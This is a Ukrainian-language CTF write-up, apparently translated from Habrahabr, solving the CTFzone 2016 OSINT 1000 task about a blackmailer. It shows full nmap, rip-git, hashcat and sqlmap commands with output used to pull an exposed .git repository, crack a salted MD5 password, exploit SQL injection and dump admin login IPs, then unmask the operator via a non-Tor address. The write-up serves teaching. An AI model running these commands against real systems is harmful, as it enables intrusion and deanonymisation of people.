CTFzone write-ups — Grand Finale

image
Друзі, настав час розкрити останню таємницю CTFzone. Ми готові опублікувати райтап на одне з найскладніших завдань змагань – OSINT на 1000 очок. Як і у випадку з Reverse 1000, ми вирішили винести останнє завдання гілки в окремий пост зважаючи великого розміру і складності.
Рішення на таски простіше ми публікували раніше, і тепер настав час фінального акорду. Ми постаралися зробити наш заключний райтап максимально докладним, тому стаття вийшла довгою і цікавою. Всі готові? ;)

OSINT_1000: Polish businessman
A. U. R. O. R. A.: Lieutenant, it's time for another мемуари. Are you ready? This part of Scott's diary is about Captain Picard and his brother.
Scott's memoirs. April 19, 2047.
"Is it just a joke true or blackmail?! Captain has just called me and said that his brother – very rich businessman Wilczek — has found a USB drive on his table this morning which contains very dangerous extortion and threats. He doesn't want anyone in the department to know what is happening as there is some dirt on this USB and the crook has more. He wants me to do and the impossible to find a blackmailer but it's my only chance to come back to Earth".
Well, I assume Lieutenant Scott succeeded as you are on his place. But how did he manage to do it?.

Рішення:

Настав час останнього епізоду спогадів Скотта. На цей раз ми маємо справу з корпоративним шантажем. Багатому польському бізнесменові була підкинута флешка, на якій міститься дуже небезпечна для нього інформація. Наше завдання — знайти шантажиста. Але якщо раніше все було цілком реально, то на цей раз завдання виглядає нездійсненним...
Нам був наданий образ флешки, у якому зберігався odt документ:
image
В документі лише дві сторінки, перша містить лист пану бізнесменові:
image
Друга сторінка містить частину листування з пошти цього бізнесмена та скан документу з поповненнями рахунку. Суми, звичайно, значні:
image
Чистий дана людина або не зовсім, судити не нам (а якщо і нам, то про себе). Наше завдання — знайти того, хто організував шантаж. Ну що ж, приступимо.
Все, що у нас є — це образ із документом, у якому містяться ім'я і назву фірми, а так само пошта жертви. По доменному імені навіть можна знайти якусь інформацію в мережі. Але, як зауважили учасники, що вирішували це завдання: "Так відразу зрозуміло, що це просто вода".
Пошук по імені теж нічого примітного нам не дає… Спробуємо вивчити документ, зокрема його метадані. Кожен хоч раз знаходив там щось потрібне.
На жаль, на цей раз в метаданих документа немає ніякої корисної інформації, тому спробуємо дослідити структуру документа. Ми знаємо, що odt-файл, як і .doc(x), і.апк, і багато інші файли, являє собою звичайний ZIP, але тим не менш має чітку структуру.
Распакуем цей файл, скопіювавши його з розширенням
.zip
:
image
Вивчення структури документа зазвичай починають з файлу
meta.xml
, в якому містяться загальні відомості про документ. Здається, тут щось є:
image
Ми знаходимо нове ім'я:
"kasperkowalkiewicz".
Відмінно, є зачіпка! Продовжуємо пошуки, опираючись на неї. Слід зауважити, що багато учасників думали, що це і є кінець завдання. Тут можна було згадати, що це найскладніше завдання в гілці OSINT, і не зупинятися на досягнутому ;)
Де б ми не дивилися, пошук по імені нічого не дає. Єдине, в чому ми впевнені — це польське походження імені. Як говорилося в одній байці: "Інший перемудрит, намагаючись знайти рішення якоїсь проблеми, а воно, виявляється, лежить на поверхні". Спробуємо почати спочатку.
Розглянемо наявний образ флешки. Вивчивши його, ми знайдемо назва, дана користувачем при будь-яких умовах (посилання на це і буде хинтом для користувачів під час змагання):
image
У пошуку абревіатури допомагає "Вікіпедія". Схоже, ми знайшли подальші шлях дій:
image
Далі проведемо пошук по імені на "гіті":
image
Є користувач з таким ім'ям! Подивимося, що у нього на сторінці і в репозиторіях:
image
Ми дізналися нікнейм цього користувача і знайшли один репозиторій, в якому живе самотній скрипт на bash'е. Вивчивши скрипт, ми розуміємо, що це недописаний чекер сайту, який працює виключно через TOR (згідно з коментарем на початку скрипта). Внизу є коментар польською, який просить розробника дописати його як можна швидше. Самою примітною є рядок, яка отримує статус-код доступності сайту. IP-адреса в ній представлений в hex-вигляді:
image
Спробуємо дізнатися, який IP-адреса сервера, і подивимося, чим він "світить" назовні:
root@localGhost-->~# nmap -Pn --open 0xB98FAD57

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:21 MSK
Nmap scan report for buono-restoran.ru (185.143.173.87)
Host is up (0.0077 s latency).
Not shown: 995 closed ports, 4 ports filtered
PORT STATE SERVICE
8081/tcp open blackice-icecap

Ми бачимо, що hex перетворився в читаний IP-адресу. Цієї інформації нам недостатньо, дивимося далі:
root@localGhost-->~# nmap -p - Pn -A-open 185.143.173.87

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-11-01 01:23 MSK
Nmap scan report for buono-restoran.ru (185.143.173.87)
Host is up (0.012 s latency).
Not shown: 65527 closed ports, 6 filtered ports
PORT STATE SERVICE VERSION
8081/tcp open http Apache httpd
| http git: 
| 185.143.173.87:8081/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: first commit 
|_http-server-header: Apache
|_http-title: May be later...
9501/tcp open ssh OpenSSH 7.2p2 (protocol 2.0)
| ssh-hostkey: 
| 2048 5c:b8:8b:49:5c:8f:0a:0d:ce:b4:27:ea:22:e6:42:c6 (RSA)
|_ 256 d8:2d:bc:d0:f4:76:f9:0b:fe:4e:a4:f4:93:95:90:c8 (ECDSA)
Device type: general purpose

Непогано, на нестандартному порту висить Апач, плюс є git-папка з якимись джерела. Будемо розбиратися. Переходимо на сайт:
image
Сайт знаходиться в розробці. Пошук по директоріях дав наступні шляхи:
admin
,
404
,
.git
. Стає цікаво. Спробуємо подивитися, що за вихідні у гіті. Для цього нам потрібна утиліта
rip-git
з пакету
рскв-ripper
:
root@localGhost-->~/gear/рскв-ripper# rip-git.pl -u http://185.143.173.87:8081/.git
[i] Using session name: REAqxQuB
Перевірка каталогів об'єктів: 100% (256/256), готово.

Швидше за все, исходники у нас вже є. Перевіримо вміст викачаних файлів:
root@localGhost-->~/gear/рскв-ripper# ls -d */
404/ admin/
root@localGhost-->~/gear/рскв-ripper# tree 404/ admin/
404/
├── app.css
├── fonts.css
└── notfound.gif
admin/
├── config.php
├── functions.php
├── index.php
├── login.php
└── style
├── bootstrap.min.css
├── bootstrap.min.js
├── jquery.min.js
└── style.css

Опа! В папці
admin
є цікаві файли, спробуємо пошукати в них підказку. Файл
login.php
містить важливу інформацію:
image
Логін ми отримали, але наш пароль поки в хешірованном вигляді, та ще і з "сіллю". Логін форми на сайті немає, але з вихідних ми розуміємо, що логінитися можна за допомогою запиту. Спробуємо побрутіть пароль
hashcat
і почнемо з простих словників. Формат хеш файлу задається hashcat'у у вигляді: "ХЕШ: СІЛЬ",
md5($pass.$salt)
формат
hashcat
. Створюємо файл, що містить геш з "сіллю", і запускаємо брут:
root@localGhost-->~/tmp# echo "58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9" > salted.hsh
root@localGhost-->~/tmp# hashcat -m 10 -a 3 salted.hsh /tmp/10k_most_common.txt
...
58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I9:qweqwe

Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: Mask (qweqwe) [6] (30.06%)
Hash.Target....: 58b6ae9a7a4a08bc11dedb6a076dadc3:7Ba2Ur5I...
Hash.Type......: md5($pass.$salt)
Time.Started...: 0 secs
Speed.Dev.#1...: 0 H/s (0.00 ms)
Відновлені......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1/1 (100.00%)
Rejected.......: 0/1 (0.00%)

А ось і словниковий пароль:
"qweqwe"
— удача знову на нашій стороні! Пробуємо залогуватися через адресний рядок, формат запиту простий:
image
Бінго! Ми потрапили в якусь админстративную панель, назва збігається з згадками на гітхабі:
"ZNet"
. Однак поки все не зовсім зрозуміло, якісь боти, країни:
image
Пройдемося по записам у цій таблиці:
image
Перейшовши по першій запису, ми бачимо шлях в рядку браузера:
http://185.143.173.87:8081/admin/?bot_id=1053.
Параметр
"id"
завжди наштовхує на думку про SQL-ін'єкції ;)
Начитавшись в гуглі по темі "advanced sql injection techniques", демонструємо свою перевагу:
image
Колупати руками я це, звичайно ж, не буду, тому натравим
sqlmap
. Додамо куки в параметри і подивимося, які таблиці ми зможемо отримати:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dbs --batch
[*] information_schema
[*] web

Нам цікава друга база —
"web"
. Спробуємо отримати з таблиці бази:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --tables -D web batch --
Database: web
[2 tables]
+--------------+
| admin_access |
| bots |
+--------------+

У таблиці
"bots"
немає нічого корисного. Вивчимо ту, що має більш визначна назва:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --columns -D web -T admin_access --batch
Database: web
Table: admin_access
[3 columns]
+------------+------+
| Column | Type |
+------------+------+
| auth_time | text |
| user_agent | text |
| user_ip | text |
+------------+------+

У таблиці
"user_agent"
серед множинного входу адміна ми знайшли 3 унікальних юзерагента, причому один з них явно юзерагент TOR-браузера:
image
Припустимо, що користувач заходив мінімум з двох машин, адже TOR-браузер може стояти на кожній з них (чи навіть з одного, т. к. підробити юзерагент не становить праці. Він міг просто користуватися двома різними браузерами на одній машині). Нам необхідно отримати інформацію про IP-адреси, з яких виходив користувач:
root@localGhost-->~# sqlmap --cookie="PHPSESSID=s4g94q9dnjb0a7ocob5gn4tqb5; path=/; domain=185.143.173.87" -u "http://185.143.173.87:8081/admin/?bot_id=1053" --dump -D web -T admin_access -C user_ip --batch

[36 entries]
+-----------------+
| user_ip |
+-----------------+
| 104.233.95.49 |
| 128.199.218.14 |
| 158.58.170.130 |
| 162.247.72.202 |
| 162.247.73.74 |
| 173.255.229.8 |
| 176.10.99.202 |
| 176.126.252.12 |
| 176.126.252.12 |
| 185.100.86.199 |
| 185.72.244.24 |
| 188.68.237.55 |
| 193.15.16.4 |
| 195.154.164.200 |
| 197.231.221.211 |
| 198.23.161.144 |
| 216.17.99.183 |
| 216.230.148.77 |
| 31.220.45.142 |
| 37.187.239.8 |
| 46.183.221.231 |
| 5.196.73.88 |
| 62.133.130.105 |
| 62.133.130.105 |
| 64.137.237.81 |
| 77.247.181.162 |
| 77.254.3.32 |
| 79.124.59.194 |
| 87.118.92.43 |
| 88.167.163.142 |
| 91.134.232.61 |
| 91.240.65.16 |
| 91.240.65.16 |
| 95.211.205.151 |
| 95.211.226.242 |
| 96.35.130.132 |
+-----------------+

Цікаво, що заходів було дуже багато — 33 запису є унікальними. Очевидно, причина повторення адрес криється в тому, що користувач заходив на сайт повторно з різницею в кілька хвилин. Це наводить на певні думки. Беремо перший за списком IP-адресу і спробуй пошукати про нього інформацію:
image
Як ми бачимо, це TOR-нода. Спробуємо рендомний IP c іншим юзерагентом і отримаємо приблизно теж саме:
image
Прикро… Виходить, що трафік Каспера Ковалькевича завжди "торифицирован", і він нам нічого не дасть. Тим не менш, на всякий випадок перевіримо всі IP-адреси.
Всім відомо, що TOR щоденно публікує список своїх вихідних вузлів. Список доступний з за адресою. Він оновлюється кожен день, так як одні ноди зникають, а інші додаються. Сформуємо два файли в один помістимо список вихідних нод, а в другій отриману нами базу адрес. Далі спробуємо знайти адреси, яких немає в списку TOR'а, якщо такі є. Можна спробувати написати скрипт для отримання різниці, але набагато швидше буде скористатися bash'їм. Спочатку порахуємо кількість рядків у двох файлах, а потім порівняємо:
root@localGhost-->/tmp/ips# wc -l *
36 kasper.lst
1166 tor.lst
1202 разом
root@localGhost-->/tmp/ips# comm -13 <(sort tor.lst) <(sort kasper.lst)
162.247.73.74
188.68.237.55
195.154.164.200
216.17.99.183
5.196.73.88
62.133.130.105
91.240.65.16
95.211.226.242

Різниця зовсім невелика, можна перевірити руками. Шукаємо в гуглі: "наш_ІР tor". З усіх IP-адрес тільки
188.68.237.55
ніякого відношення до TOR'не має:
image
Подивимося інформацію про це IP-адресі:
image
Схоже, ця адреса належить тому самому Касперу Ковалькевичу. Подивимося, що на ньому є. На машині висить Апач, головна сторінка видає якусь дивну фразу:
image
Шукаємо інформацію по рядках: "i hereby claim" і знаходимо посилання на keybase.io. Keybase.io — це загальний репозиторій відкритих ключів, де всі ключі відповідають унікальним імен користувачів. Спробуємо відшукати ключ нашого користувача. Спробуємо погуглити по іменах, які ми раніше знаходили на даному сервері, але це нам нічого не дає. Почитавши детальніше про зберігання ключів, ми з'ясовуємо, що ключ може лежати в папці
".well-known".
Перевіряємо і цей варіант:
image
Ура! Тут є якийсь файл, ознайомимося з його вмістом:
image
Є й інший, більш простий спосіб знаходження цієї папки. Можна було просто скористатися утилітою
Dirsearch
, в арсеналі якої є добротний словник, в якому, на відміну від словників аналогічних утиліт, є згадка цієї папки:
image
Переходимо на сторінку користувача за посиланням
https://keybase.io/prepro
:
image
Вивчаємо сторінку користувача і бачимо на ній скорочення від знайомого нам імені. Читаємо юзеринфо, з якого ми дізнаємося, що де і ким працює наш користувач. Тепер у нас є інформація про шантажисте, яку ми пізніше передамо зацікавленим людям.
Але це не все! Нас тут чекає ще дещо цікаве — наш прапор:
"H0w_DiD_U_FinD_m3"
. Ось тепер це дійсно кінець завдання ;)
Відповідь: ctfzone{H0w_DiD_U_FinD_m3}
P. S.: завдання включало в себе ланцюжок різного роду логічних дій, але без підказок воно не вирішувалося. Ідея з ім'ям в документі прийшла після прочитання ось цієї статті, де йдеться про те, що при певних умовах налаштувань і шляхів збереження таке трапляється. Підказка з назвою образу флешки була необхідна, оскільки без неї неможливо було зрозуміти подальший хід дій. Як у нас вийшло дійти до кінцевої точки? Як ми пам'ятаємо, користувач працював через TOR і, по ідеї, ніяких слідів не залишив. Проте одного разу він все ж таки забув це зробити, але на практиці таке рідко трапляється. Дане завдання вирішила тільки одна команда, і ми згодні з тим, що завдання вийшло дійсно непростим для індивідуального CTF.
Друзі, ось і все! Всі райтапы опубліковані, всі таємниці CTFzone розкрито, але це тільки початок. Захід в рамках ZERONIGHTS 2016 – це перший крок компанії BI.ZONE в області організації CTF, і попереду вас чекають ще більш масштабні і захоплюючі змагання. Ми чекаємо на ваші пропозиції, коментарі та питання нашому чаті телеграме і в коментарях до постів. Залишайтеся з нами, і ми обіцяємо, далі буде тільки крутіше ;)
Всім удачі і до нових зустрічей!
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.